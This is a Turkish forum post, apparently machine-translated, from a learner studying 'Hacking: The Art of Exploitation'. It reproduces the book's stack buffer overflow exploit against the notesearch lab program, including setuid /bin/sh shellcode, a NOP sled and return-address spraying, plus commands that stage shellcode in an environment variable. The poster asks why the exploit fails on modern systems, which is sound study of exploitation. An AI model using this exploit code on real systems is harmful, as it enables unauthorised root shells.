Hacking: The Art of Exploitation ile çalışıyorum ve kitaptan bir ortam değişkeni aracılığıyla çalıştırmak için bilinen bir çalışma istismarı elde etmeye çalışırken ilk engelimle karşılaşıyorum. Tüm programlar ile derlenmiştir -fno-stack-protector -zexecstack -no-pie -fno-pie
.
Koşma exploit_notesearch.c
(çok özel bir ofset olsa da), ofseti hareket ettirerek bir kabuğun açılmasını sağlayabildim argv[1]
. Bu, kitapla birlikte verilen livecd'nin yanı sıra modern işletim sistemlerinde (ASLR devre dışı bırakılmış) çalışır.
sömürü_araştırma.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=208;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
Daha sonra bölümde, kabuk kodunu bir ortam değişkenine ayarlıyoruz ve akışı, önceden hazırlanmış NOP kızağının yarısına kadar KABUK kodu ortam değişkeninin ayarlandığı yığındaki yere yönlendirmeye çalışıyoruz. Bununla birlikte, bu hiçbir zaman modern işletim sistemlerinde istismarı gerçekleştirmez, ancak kitapla birlikte gelen Ubuntu 7.04 canlı cd'sinde gayet iyi çalışır. shellcode.bin
kabuk kodu en üstte mi exploit_notesearch.c
dosya ile çalıştırıldı echo -en
ve bir dosyaya yönlendirildi.
$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled
Burada eski işletim sistemleri ile modern arasında değişen neler oluyor? Farkında olmadığım bir koruma, NOP kızağını kabuk koduna sürmekten alıkoyuyor mu?
Teşekkür ederim.